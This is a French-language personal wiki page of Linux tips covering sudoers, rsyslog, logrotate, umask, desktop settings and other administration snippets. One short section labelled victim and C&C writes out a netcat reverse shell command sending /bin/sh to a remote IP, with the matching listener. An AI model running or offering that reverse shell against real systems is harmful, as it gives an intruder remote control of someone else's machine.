Trucs & Astuces avec Linux

• An introduction to Udev: The Linux subsystem for managing device events
• https://github.com/imthenachoman/How-To-Secure-A-Linux-Server
• https://www.tartarefr.eu/creation-dune-cle-usb-multiboot-bios-et-uefi/
• [https://www.bloglibre.net/2019/05/30/decalage-horaire-entre-windows-et-linux-en-dual-boot/]]
• https://blog.hedilenoir.com/index.php/2019/09/12/tuto-proteger-avec-un-mot-de-passe-lacces-au-grub/
• https://www.it-connect.fr/debian-10-et-secure-boot-comment-sadapter-au-demarrage-securise/
• https://korben.info/une-commande-pour-retrouver-en-clair-le-mot-de-passe-dun-reseau-wifi.html
• http://user.oc-static.com/pdf/319961-les-acl-access-control-lists-sous-linux.pdf
• QOS sous Linux avec TC
• Linux kernel preemption and the latency-throughput tradeoff
• Les secrets du traceur eBPF
• https://fr.wikipedia.org/wiki/Magic_SysRq_key

• Fonction strace
• PiHole
• Services
• Tmux
• APT
• Commandes
• I3
• Polices
• BTRFS
• Montée en version de Debian
• Envoi de mails avec Postfix
• Disques, partitions, systèmes de fichiers...
• Acquisition vidéo
• Réduire la durée du démarrage
• Créer un paquet Debian
• Linux From Scratch
• Modifier les paramètres du noyau
• Modules noyau
• Fréquences matérielles
• GRUB
• PDF
• Images
• Raspberry Pi
• Makefile
• Matériel
• XFCE
• ffmpeg
• Instructions AVX
• Logiciels dont j'oublie le nom
• cmus
• Imprimantes & scanner

Source

select-editor

Ne s'éteint pas après le message Will shutdown now !

Editer le fichier /etc/default/grub, et adapter la ligne:

GRUB_CMDLINE_LINUX_DEFAULT="quiet reboot=pci"

Notamment de l'installation de Debian. Source

Télécharger une image de Debian, monter l'archive, se placer dans le dossier:

md5sum -c md5sum.txt 2> /dev/null | grep -v Réussi

Cette commande ne doit rien afficher.

Source

sudo adduser <username> sudo

Il faut que le groupe sudo existe et que la ligne suivante existe bien dans le fichier (à changer avec la commande visudo).

/etc/sudoers

%sudo   ALL=(ALL:ALL) ALL

sudo -u $user $command

Source

Permettre à l'utilisateur student de lancer les commandes service mariadb start et service nginx start avec sudo, sans avoir besoin de saisir de mot de passe (éditer cette configuration avec la commande visudo) :

student ALL=(ALL) NOPASSWD:  /usr/sbin/service mariadb start,/usr/sbin/service nginx start

Liste aussi les utilisateurs LDAP, par exemple.

getent passwd

Lister tous les membres appartenant à un groupe (source) :

getent group $group

/etc/rsyslog.conf

*.* @ip:port

Envoie tous les logs en UDP vers la machine spécifiée. Deux arobases envoie en TCP.

Relancer le service rsyslog.

Source Sur la victime:

nc -e /bin/sh 172.21.30.2 1026

Sur le C&C:

nc -l 1026

Source

Faire glisser l'icône du Terminal du dossier /usr/share/applications dans le dock.

nohup mon_programme > out.file &

Source

Créer le fichier /etc/profile.d/gnome-qt.sh avec le contenu suivant:

/etc/profile.d/gnome-qt.sh

export QT_AUTO_SCREEN_SCALE_FACTOR=0 

Fonctionne aussi avec le fichier /etc/environment:

/etc/environment

QT_AUTO_SCREEN_SCALE_FACTOR=0 

Source

/etc/xdg/autostart/myprogram.desktop

[Desktop Entry]
Name=foo
Terminal=false
Exec=/path/shell.sh
Type=Application
Icon=/path/icon.png
Categories=Utility;

sudo date -s "Dec 10 17:45:49"

Source

ps -eo pid,lstart,cmd

Sinon ajouter la colonne qui va bien dans htop.

Source

systemctl poweroff
systemctl reboot

Avec le commande screenfetch, fourni par le paquet éponyme.

Installer le paquet alacarte et utiliser l'application Menu principal.

Source

Installer le paquet transmission-cli.

transmission-cli <fichier torrent>

L'option -w permet de spécifier le dossier où sera sauvegardé le fichier téléchargé. Par défaut, c'est dans le dossier ~/Downloads.

Connaître les bibliothèques dynamiques directement liée (pas récursif):

readelf -d <binaire>

Connaître toutes les bibliothèques dynamiques:

ldd <binaire>

Voir https://github.com/ncopa/lddtree/blob/master/lddtree.sh pour un affichage récursif.

• https://tuxicoman.jesuislibre.net/2019/05/ecran-de-demarrage-graphique-avec-plymouth-sur-debian.html
• https://wiki.debian.org/fr/plymouth
• https://joekuan.wordpress.com/2010/08/05/plymouth-create-your-own-splash-screen-with-scrolling-boot-messages/

Source

echo $XDG_SESSION_TYPE

Source

Deux éléments peuvent gérer la mise en veille de l'écran : - l'environnement de bureau - le serveur X11

Pour connaître la configuration de X11 :

xset q

Pour désactiver la mise en veille :

xset s off

Il peut aussi être nécessaire de désactiver la gestion de l'énergie :

xset -dpms

• https://www.linuxuprising.com/2019/07/how-to-completely-disable-tracker.html
• https://www.jbnet.fr/systeme/linux/gnome-desactiver-tracker.html

# Savoir si le tracker est actif:
tracker daemon -t
 
# Essayer de supprimer, si ça n'entraîne pas une cascade de suppressions...
sudo apt remove tracker tracker-extract tracker-miner-fs
 
# Sinon, juste désactiver les services (pas en root !):
systemctl --user mask tracker-store.service tracker-miner-fs.service tracker-miner-rss.service tracker-extract.service tracker-miner-apps.service tracker-writeback.service
 
# Supprimer la base de données d'indexation:
tracker reset --hard

https://unix.stackexchange.com/questions/336368/how-to-configure-nemos-right-click-open-in-terminal-to-launch-gnome-terminal

gsettings set org.cinnamon.desktop.default-applications.terminal exec terminator

•  Documentation de Debian
• https://cbiot.fr/dokuwiki/php-bash:samsung

Installer le paquet gvfs-backends.

Si avec gvfs-backends il n'est pas possible d'écrire, il est possible d'installer jmtpfs, puis monter le périphérique dans un dossier dédié :

jmtpfs /chemin/vers/le/dossier/de/montage

• https://askubuntu.com/questions/79319/how-to-change-language-of-a-specific-application
• https://www.gnu.org/savannah-checkouts/gnu/gettext/manual/html_node/Locale-Environment-Variables.html

On peut connaître les langues disponibles avec la commande:

locale -a

Puis positionner la variable LANGUAGE:

LANGUAGE=en_US lscpu

Si chsh ne fonctionne pas (source):

sudo usermod -s /bin/zsh philippe

• https://iridakos.com/programming/2018/03/01/bash-programmable-completion-tutorial
• https://www.gnu.org/software/bash/manual/html_node/Programmable-Completion-Builtins.html#Programmable-Completion-Builtins
• https://unix.stackexchange.com/questions/417054/automatically-generate-zsh-bash-completion-files

Utiliser le programme beep, ou bien:

echo -ne '\007'

Permet de réserver une partie de la RAM pour être utilisée comme swap.

• https://www.linuxtricks.fr/wiki/zram-compresser-la-ram-au-lieu-de-swapper-sur-linux

Notamment quand on rebranche un dock (source):

echo "1" | sudo tee /sys/bus/pci/rescan > /dev/null

Quand par exemple des enceintes branchées en jack sont mises sous tension après le démarrage de l'ordinateur (sous Pulseaudio, source) :

pacmd unload-module module-udev-detect && pacmd load-module module-udev-detect

Qui ne peut se connecter et qui n'a pas de dossier /home/ (Source) :

useradd -r -s /usr/sbin/nologin nfs-client

• https://les-enovateurs.com/logrotate-ajout-test-configuration-rotation-logs/

Créer les fichiers de configuration dans /etc/logrotate.d/ :

/data/rpi/logs/*.log {
        rotate 5
        compress
        size 1M
        missingok
        notifempty
        delaycompress
} 

Pour debugger, voir ce que logrotate ferait :

logrotate -d /etc/logrotate.d/rpi

L'option -f force la rotation, même si les conditions requises pour faire une rotation ne sont pas satisfaites.

Comme commande shell, umask affiche le umask actuellement utilisé ; umask -S l'affiche avec des symboles plus explicites que la valeur octale. Si une valeur est donnée en paramètre, cette nouvelle valeur est utilisée comme masque.

Interprétation de la valeur : il s'agit des bits qui sont retirés à tous les bits activés pour obtenir le masque avec lequel les fichiers et dossiers vont être créés. Par exemple :

• 077 : 777 - 077 = 700, donc les droits utilisés seront rwx------ ;
• 022 : 777 - 022 = 744, donc les droits utilisés seront rwxr-xr-x.

Le fichier /etc/aliases définit quels sont les alias mails des utilisateurs, et où il faut faire suivre les mails reçus sur ces aliases :

root: user,  abc@foo.bar

Tous les mails adressés à root seront transmis à l'utilisateur user et à l'adresse abc@foo.bar.

Après avoir modifié le fichier /etc/aliases, il faut lancer la commande newaliases (source).